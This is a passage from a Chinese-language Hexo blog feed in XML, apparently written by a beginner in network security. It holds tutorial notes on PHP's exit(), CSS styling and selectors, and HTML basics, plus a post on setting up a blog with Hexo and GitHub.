php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">echo</span><span class="string">'星期一&lt;br /&gt;'</span>;</span><br><span class="line"><span class="keyword">exit</span>(<span class="string">'程序结束！'</span>);</span><br><span class="line"><span class="keyword">echo</span><span class="string">'星期二&lt;br /&gt;'</span>;</span><br><span class="line"><span class="keyword">echo</span><span class="string">'星期三&lt;br /&gt;'</span>;</span><br><span class="line"><span class="keyword">echo</span><span class="string">'星期四&lt;br /&gt;'</span>;</span><br><span class="line"><span class="keyword">echo</span><span class="string">'星期五&lt;br /&gt;'</span>;</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//最终输出星期一、程序结束！</span></span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;1-PHP概述&quot;&gt;&lt;a href=&quot;#1-PHP概述&quot; class=&quot;headerlink&quot; title=&quot;1.PHP概述&quot;&gt;&lt;/a&gt;1.PHP概述&lt;/h2&gt;&lt;p&gt;&lt;br&gt;PHP语法借鉴吸收了C语言、java和Perl等流行计算机语言的特点。PHP主要目标是允许网络开发人员快速编写动态页面，简单说PHP主要用于开发各种类型的网站程序。PHP是脚本语言不需要事先编译，在服务器端运行。PHP可以运行在windows、Linux等各种操作系统上。&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>css知识总结</title>
    <link href="http://yoursite.com/2019/03/30/css%E7%9F%A5%E8%AF%86%E6%80%BB%E7%BB%93/"/>
    <id>http://yoursite.com/2019/03/30/css知识总结/</id>
    <published>2019-03-30T09:05:48.000Z</published>
    <updated>2019-06-16T12:56:03.650Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-CSS定义和三种引用方式"><a href="#1-CSS定义和三种引用方式" class="headerlink" title="1.CSS定义和三种引用方式"></a>1.CSS定义和三种引用方式</h2><p>​    <br>CSS全称为“层叠样式表 (Cascading Style Sheets)”，作用是为html元素去定义样式能够实现内容与表现相分离，提高代码的可重用性和可维护性。使用CSS样式的可以通过定义某个样式，使网页不同位置的文字有着统一的字体、字号或者颜色等。 一个完整的页面 = HTML + CSS，HTML显示页面内容，CSS构建HTML样式。<a id="more"></a></p><p>​    CSS引用方式有三种：行内样式、内部样式表、外部样式表</p><p>​    1）行内样式： 使用style属性在HTML元素中引入CSS样式（只能控制某一个元素的显示效果)</p><p>​    例：&lt; p  style=”font-size：10px；color：red；”&gt;&lt;/ p&gt; </p><p>​    2）内部样式表： 将样式放在&lt; style&gt;标签中，&lt; style&gt;标签写在&lt; head&gt;标签中    </p><p>​    例：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"utf-8"</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">title</span>&gt;</span>内部样式表<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="undefined">    div&#123;</span></span><br><span class="line"><span class="undefined">        color: red;</span></span><br><span class="line"><span class="undefined">        width: 500px;</span></span><br><span class="line"><span class="undefined">        background: yellow;</span></span><br><span class="line"><span class="undefined">    &#125;</span></span><br><span class="line"><span class="undefined">  </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span>&gt;</span>梨<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>3）外部样式表： <strong>将CSS代码保存在以.css结尾的css样式文件中，再进行引用</strong></p><p>​    用法：在&lt; head&gt;&lt;/ head&gt;中写以下代码：&lt; link rel=”stylesheet” type=”text/css” href=”链接的css文件地址” /&gt;（这是一种常用的方式）</p><p>​    例：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">  &lt;meta charset=&quot;utf-8&quot;&gt;</span><br><span class="line">  &lt;title&gt;外部样式表&lt;/title&gt;</span><br><span class="line">  &lt;link rel=&quot;stylesheet&quot; href=&quot;1.css&quot;&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;div&gt;梨&lt;/div&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>​    特点：实现内容与表现相分离；将可重用性和可维护性体现的最完美(所有的页面都能用)；可以在整个网站乃至于互联网中做通用的样式定义。</p><p>​    <strong>样式优先级：行内样式 &gt; 内部样式表 &gt; 外部样式表</strong>    </p><p>​    内部样式表 或 外部样式表，级别处于中间位置；就近原则（谁靠下，以谁为主）。</p><h2 id="2-CSS语法"><a href="#2-CSS语法" class="headerlink" title="2.CSS语法"></a>2.CSS语法</h2><p>&nbsp;<br>基本语法： 样式声明：属性：值；&nbsp;&nbsp;&nbsp;样式规则：选择器 和 样式声明</p><p>​    特征：1）继承性：大部分的CSS样式属性，是可以被继承的。继承：子级不用单独定义样式，可以直接使用父级的东西。2）层叠性：为一个元素定义多个样式的时候，样式不冲突时，多个样式表中的样式可以层叠(合并)为一个。3）优先级：样式冲突时，按照不同样式规则的优先级来应用样式。</p><p>​    rgb色彩模式：R  红色；G  绿色；B  蓝色    例：color： rgb（255，0，0）  或  rgb（100%，%0，%0）； 颜色单位：#rrggbb；每一位取0~9，例：#0123456</p><h2 id="3-CSS选择器"><a href="#3-CSS选择器" class="headerlink" title="3.CSS选择器"></a>3.CSS选择器</h2><p>​    <br>1）通用选择器 作用：匹配页面中的任何一个元素 语法：* {样式规则}</p><p>​    2）元素选择器 作用:匹配页面中的指定的元素； 语法：元素名称作为选择器，如： body、p等。</p><p>​    3）类选择器  作用：定义公共的样式，由任意一个标签进行引用</p><p>​        语法：.className{ ：； } 例：.red_back{ } .red_back{ }</p><p>​        引用：在标签中，通过class属性 对类选择器名称进行引用</p><p>​        注意：在一个元素中，可以同时对多个类选择器进行引用。多个类选择器之间用空格隔开。</p><p>​    4）类选择器-分类选择器</p><p>​        作用：将类选择器和元素选择器结合起来使用，从而实现对某种元素不同样式的细分控制</p><p>​        语法：元素选择器 .className { } 例：div.red_back{ }</p><p>​    5）id选择器</p><p>​        作用：通过元素的id值，来声明定义元素的相关样式属性 语法：#idValue{ }</p><p>​    6）群组选择器</p><p>​        作用：选择器声明，是以 , 隔开的选择器列表</p><p>​        语法：selector1，selector2，selector3，selector4…{ } 例：div，p，.redback{color：red；}</p><p>​    7）后代、子代选择器</p><p>​        只存在一级的父子关系：可以称之为子代或者后代</p><p>​        多于一级的嵌套关系：只能称之为后代 后代语法：selector1 selector2{ }</p><p>​        例：div span{ } /<em> 匹配出所有div元素中的span元素 </em>/ #content .redBack{ }</p><p>​        子代作用：只能匹配出父子关系的子级元素</p><p>​        目的：不希望选择任意的后代元素，而是希望缩小范围，只选择某个具体的子元素时使用。 </p><p>​        语法：selector1&gt;selector2{ }</p><p>​    8）伪类选择器作用：匹配元素的不同状态   语法：：作为开始的</p><p>​        分类：<br>​        链接伪类 作用：只匹配超链接的状态<br>​        ：link：适用于尚未访问的超链接 ：visited：适用于访问过后的超链接<br>​        动态伪类<br>​        ：hover：适用于鼠标悬停在html元素上的状态<br>​        ：active：适用于html元素被激活时<br>​        ：focus：适用于html元素获取焦点时的状态</p><p>​        此外还有目标伪类、元素状态伪类、结构伪类、否定伪类。详细的伪类选择器可以参考链接：<a href="https://blog.csdn.net/Panda_m/article/details/50084699" target="_blank" rel="noopener">https://blog.csdn.net/Panda_m/article/details/50084699</a></p><h2 id="4-CSS背景"><a href="#4-CSS背景" class="headerlink" title="4.CSS背景"></a>4.CSS背景</h2><p>​    <br>1）背景颜色：background-color：red（或颜色单位）；</p><p>​    2）背景图片：例：background-image：url(“1.png”)；</p><p>​    3）背景平铺：background-repeat：值</p><p>​        取值：repeat ：即水平方向又垂直方向平铺(默认值)；no-repeat ： 没有平铺；repeat-x ：     仅水平方向平铺；repeat-y ：仅垂直方向平铺 </p><p>​    4）背景固定：background-attachment：值</p><p>​        默认情况，背景图片会随着滚动条而发生滚动，可以通过背景图片固定的方式解决此问题，    让背景图保持在网页的可视化窗口的某个固定为止处不随着滚动条发生位置变化。</p><p>​        注意：尽量将背景图片加给body元素</p><p>​        取值：scroll ：背景会随滚动条发生滚动（默认值）；fixed ：固定，背景不会随着内容而发    生滚动。</p><p>​    5）背景定位：background-position：x值 y值；</p><p>​        取值：x  y ：x水平偏移位置,值为正 向右移动，值为负，向左移动<br>​        y垂直偏移位置，值为正 向下移动，值为负，向上移动<br>​        x%  y% ： 左上角 ： 0% 0%； 右下角 ：100% 100%； 居中显示 ： 50% 50%<br>​        关键字：x ：left，center，right ； y ： top，center，bottom</p><p>​    6）背景属性：将以上几个属性全部综合到一起,通过一个属性描述所有的值</p><p>​        属性:background：值；   取值：color  url()  repeat  attachment  position；例：backgroud：url（”1.png”） repeat-y；</p><h2 id="5-CSS文本格式化"><a href="#5-CSS文本格式化" class="headerlink" title="5.CSS文本格式化"></a>5.CSS文本格式化</h2><p>​    <br>字体样式：例：font-family：”宋体”； 字体大小：font-size：16px（默认）；</p><p>​    字体加粗：font-weight：bold；（相当于&lt; b&gt; &lt;/ b&gt;）；字体样式：font-style：italic；（斜体）</p><p>​    字体属性：font：font-style font-variant font-weight font-size font-family；常用设置方式：font：12px “微软雅黑”；</p><p>​    文本颜色：color：red； </p><p>​    字符间距：letter-spacing： 0px（默认）；空格距离：word-spacing：0px（默认）；</p><p>​    文字线条修饰 属性：text-decoration：值；  取值：none 无线条、underline 下划线、overline 上划线、line-through 删除线</p><p>​    文本对齐：text-align：left（默认）、 right 、center、justify（两边对齐）；</p><p>​    文本缩进：text-indent 2px； 行高：line-height 3px；</p><p>​    英文大小写：text-transform：uppercase（全大写）、lowercase（全小写）、capitalize（首字母大写）；</p><h2 id="6-CSS链接和列表"><a href="#6-CSS链接和列表" class="headerlink" title="6.CSS链接和列表"></a>6.CSS链接和列表</h2><p>​    <br>1）链接</p><p>​        a：link  初始状态；a：visited  已访问过；a：hover  鼠标放在链接上时；a：active  链接被    点击时</p><p>​        注意：a：hover 必须跟在 a：link 和 a：visited后面，a：active 必须跟在 a：hover后面</p><p>​        还可以添加状态例如：a：hover{  color：red； font-size：30px；} </p><p>​    2）列表</p><p>​        列表项标志：list-style-type：值； 取值：none 无标记（常用）、disc 实心圆、circle 空心    圆、square 实心方块……</p><p>​        列表项图像：list-style-image：值； 取值：url(图像路径)；功能：使用自定义图像，作为列    表项的显示标识</p><p>​        列表项位置：list-style-position：值；取值：outside：列表项标识位于文本之外（默认）；     inside：列表项标识更改在文本范围之内</p><h2 id="7-CSS盒子模型"><a href="#7-CSS盒子模型" class="headerlink" title="7.CSS盒子模型"></a>7.CSS盒子模型</h2><p>​    <br>外边框：border：5px solid（实线） black；</p><p>​    内边距：padding：20px（上下） 50px（左右）；padding：20px 30px 40px 50px；（顺时针，上右下左）</p><p>​    外边距：margin：30px；（与padding类似）</p><p>​    另外单边设置：margin-top：上外边距 ； margin-right：右外边距margin-bottom：下外边距 ； margin-left：左外边距</p><p>​    边框合并：border-collapse：值；取值：separate 分离边框（默认）、collapse 合并边框</p><p>​    更详细盒子模型，可以参考链接：<a href="https://www.cnblogs.com/clearsky/p/5696286.html" target="_blank" rel="noopener">https://www.cnblogs.com/clearsky/p/5696286.html</a></p><h2 id="8-CSS布局与定位"><a href="#8-CSS布局与定位" class="headerlink" title="8.CSS布局与定位"></a>8.CSS布局与定位</h2><p>​    <br>可以参考链接：<a href="https://blog.csdn.net/weixin_38902950/article/details/84674199" target="_blank" rel="noopener">https://blog.csdn.net/weixin_38902950/article/details/84674199</a></p><h2 id="9-总结"><a href="#9-总结" class="headerlink" title="9.总结"></a>9.总结</h2><p>​    <br>CSS中选择器、盒模型、布局与定位是最重要的几部分，想深入了解可以多找几篇文章看看，本人是初学者所以这几部分就没有详细写。</p><p><strong>本文参考的链接：</strong><a href="https://www.cnblogs.com/wangdongdong1234/p/6394510.html" target="_blank" rel="noopener">https://www.cnblogs.com/wangdongdong1234/p/6394510.html</a></p><p><strong>参考视频：</strong><a href="https://www.bilibili.com/video/av26764447/?p=16" target="_blank" rel="noopener">https://www.bilibili.com/video/av26764447/?p=16</a></p>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;1-CSS定义和三种引用方式&quot;&gt;&lt;a href=&quot;#1-CSS定义和三种引用方式&quot; class=&quot;headerlink&quot; title=&quot;1.CSS定义和三种引用方式&quot;&gt;&lt;/a&gt;1.CSS定义和三种引用方式&lt;/h2&gt;&lt;p&gt;​    &lt;br&gt;CSS全称为“层叠样式表 (Cascading Style Sheets)”，作用是为html元素去定义样式能够实现内容与表现相分离，提高代码的可重用性和可维护性。使用CSS样式的可以通过定义某个样式，使网页不同位置的文字有着统一的字体、字号或者颜色等。 一个完整的页面 = HTML + CSS，HTML显示页面内容，CSS构建HTML样式。&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>html 知识总结</title>
    <link href="http://yoursite.com/2019/03/27/html%E7%9F%A5%E8%AF%86%E6%80%BB%E7%BB%93/"/>
    <id>http://yoursite.com/2019/03/27/html知识总结/</id>
    <published>2019-03-27T11:31:36.000Z</published>
    <updated>2019-06-16T12:54:11.560Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-基本结构"><a href="#1-基本结构" class="headerlink" title="1.基本结构"></a>1.基本结构</h2><p><br>&lt; !DOCTYPE html&gt;//声明文档的解析类型，必须写在第一行<br>&lt; html&gt;//根标签(开始)<br>&lt; head&gt;//头标签(开始)<a id="more"></a><br>&lt; meta charset=”utf-8”&gt;//声明为utf-8编码，避免出现乱码<br>&lt; title&gt;html+css&lt;/ title&gt;//页面标题标签&lt;/ head&gt;//头标签(结束)<br>&lt; body&gt;//主体标签(开始)&lt; h1&gt;我的标题&lt;/ h1&gt;//内容标题标签&lt; p&gt;我的段落。&lt;/ p&gt;//段落标签<br>&lt;/ body&gt;//主体标签(结束)<br>&lt;/ html&gt;//根标签(结束)<br>注：:HTML中不支持 空格、回车、制表符，它们都会被解析成一个空白字符。</p><h2 id="2-标签"><a href="#2-标签" class="headerlink" title="2.标签"></a>2.标签</h2><p><br>1）标签写法要用小写字母，由尖括号包围，成对出现的标签称为双标签不能忘记结束标签。单独出现的标签叫单标签，最好也要闭合，形式为&lt;标签名 /&gt;，例如&lt; br /&gt;(换行标签)。&lt; !DOCTYPE html&gt;不是标签，只是声明。从开始标签到结束标签所有代码就是HTML的元素，之间的内容叫元素内容。没有内容的 HTML 元素被称为空元素，空元素是在开始标签中关闭的，例如&lt; br /&gt;。<br>2）属性<br>  属性可以在元素中添加附加信息，属性一般描述于开始标签，属性总是以名称/值对的形式出现。例如&lt; a herf=” <a href="http://www.baidu.com" target="_blank" rel="noopener">http://www.baidu.com</a> “&gt; 百度一下&lt; /a&gt;，&lt; a&gt;为链接标签，herf是属性名称，双引号中是链接地址，称为属性值，属性和属性值，尽量小写，也可以自定义属性(不能使用中文)。<br>3）注释<br>  &lt; !– 注释的内容 –&gt;<br>4）水平线<br>  单标签：&lt; hr /&gt;可连续使用多个。<br>5）标题<br>  是通过&lt; h1&gt;-&lt; h6&gt;标签进行定义的，&lt; h1&gt;定义最大的标题。&lt; h6&gt;定义最小的标题。浏览器会自动地在标题的前后添加空行。<br>6）段落<br>  通过&lt; p&gt;标签定义，浏览器会自动地在段落的前后添加空行，如果在不产生一个新段落的情况下进行换行，须使用&lt; br /&gt;标签。<br>7）文本格式化(双标签)<br>  &lt; b&gt;定义粗体文字，&lt; i&gt;定义斜体字，&lt; small&gt;定义小号字，&lt; big&gt;定义大号字，&lt; strong&gt;定义加重语气。<br>8）链接<br>  使用&lt; a&gt;设置超文本链接，如&lt; a href=” <a href="http://www.baidu.com" target="_blank" rel="noopener">http://www.baidu.com</a> “&gt; 百度一下&lt; /a&gt;。<br>9）图像<br>  使用&lt; img&gt;标签，&lt; img border=”边框属性” src=”图片路径” alt=”为图像定义一串预备的可替换的文本” width=”图像宽度” height=”图像高度” &gt;<br>10）表格<br>  表格由 &lt; table&gt; 标签来定义。&lt; tr&gt;定义行，&lt; td&gt;定义表格数据，&lt; th&gt;定义表格表头，大多数浏览器会把表头显示为粗体居中的文本。写法：</p><p>&lt; table border=”1”&gt;<br>    &lt; tr&gt;<br>        &lt; th&gt;….&lt;/ th&gt;<br>        &lt; th&gt;…..&lt;/ th&gt;<br>    &lt;/ tr&gt;<br>    &lt; tr&gt;<br>        &lt; td&gt;…….&lt;/ td&gt;<br>        &lt; td&gt;………&lt;/ td&gt;<br>    &lt;/ tr&gt;<br>&lt;/ table&gt;</p><p>11）列表<br>  无序列表：&lt; ul&gt;&lt; li&gt;苹果&lt;/ li&gt;&lt; li&gt;梨&lt;/ li&gt;&lt;/ ul&gt;<br>  有序列表：&lt; ol&gt;&lt; li&gt;苹果&lt;/ li&gt;&lt; li&gt;梨&lt;/ li&gt;&lt;/ ol&gt;<br>12）表单<br>  使用&lt; form&gt;标签定义，输入标签为&lt; input&gt;，输入类型是由类型属性 type 定义的。例：</p><p>&lt; form action=”表单数据发送的地址”&gt;<br>User : &lt; input type=”text” name=”user”&gt;//文本域<br>Password: &lt; input type=”password” name=”password”&gt;//密码域<br>&lt; input type=”submit” value=”提交”&gt;//提交按钮<br>&lt;/ form&gt;</p><p>  单选按钮：&lt; input type=”radio”&gt; 标签定义了表单单选框选项。<br>  复选框：&lt; input type=”checkbox”&gt; 定义了复选框。</p>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;1-基本结构&quot;&gt;&lt;a href=&quot;#1-基本结构&quot; class=&quot;headerlink&quot; title=&quot;1.基本结构&quot;&gt;&lt;/a&gt;1.基本结构&lt;/h2&gt;&lt;p&gt;&lt;br&gt;&amp;lt; !DOCTYPE html&amp;gt;//声明文档的解析类型，必须写在第一行&lt;br&gt;&amp;lt; html&amp;gt;//根标签(开始)&lt;br&gt;&amp;lt; head&amp;gt;//头标签(开始)&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>hexo搭建博客</title>
    <link href="http://yoursite.com/2019/03/27/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2/"/>
    <id>http://yoursite.com/2019/03/27/hexo搭建博客/</id>
    <published>2019-03-27T11:24:39.000Z</published>
    <updated>2019-06-16T12:54:33.656Z</updated>
    
    <content type="html"><![CDATA[<p>​    本人是学习网络安全的一个萌新，这是第一次写博客还不太熟练，以后会在博客分享记录自己在网络安全道路的学习经历。hexo+github搭建博客也是现在使用比较多、比较好用的方式了（当时学长就是推荐我们使用hexo搭建自己的博客）。<a id="more"></a></p><p>推荐链接：<a href="https://url.cn/5W2XCKI" target="_blank" rel="noopener">https://url.cn/5W2XCKI</a>   </p><p>照着这个一步一步来就可以初步搭好自己的博客了（我就是看的这个搭好了自己的博客）。其中有一点细节需要注意<img src="/2019/03/27/hexo搭建博客/QQ截图20190329213320.png" alt="1" title="1"></p><p>红线地方输入的时候不是一行，而是<img src="/2019/03/27/hexo搭建博客/20190329213924.png" alt="2" title="2"></p><p>这样自己博客就初步搭好了，后续就是配置、主题等操作了，这里也推荐一个博客：<a href="https://blog.csdn.net/wsmrzx/article/details/81478595" target="_blank" rel="noopener">https://blog.csdn.net/wsmrzx/article/details/81478595</a>  博主的hexo系列可以参考一下，当然也可以在网上找，也有很多的关于hexo+github搭建博客的文章。</p><h2 id="自己搭建过程中的一些想法"><a href="#自己搭建过程中的一些想法" class="headerlink" title="自己搭建过程中的一些想法"></a>自己搭建过程中的一些想法</h2><p>​    <br>在搭建过程中可能会出现一些意外的错误，遇到意外错误可以把出现的错误代码直接复制下来，粘到百度去搜一下，发表一下自己的观点：搭建博客过程中或者学习其他东西遇到错误，一般都是一些小错误，所以在百度的时候<strong>首先就看那种简单、篇幅少的文章，去试一下，不要找那些写的特别多的</strong>,就会少很多麻烦，也省时间。不得不说百度确实是个好东西，平常遇到的很多问题都可以先去百度一下，解决之后印象也比较深。</p><p>​    这次博客就写这么多了，我们下篇见！！</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;​    本人是学习网络安全的一个萌新，这是第一次写博客还不太熟练，以后会在博客分享记录自己在网络安全道路的学习经历。hexo+github搭建博客也是现在使用比较多、比较好用的方式了（当时学长就是推荐我们使用hexo搭建自己的博客）。&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
</feed>
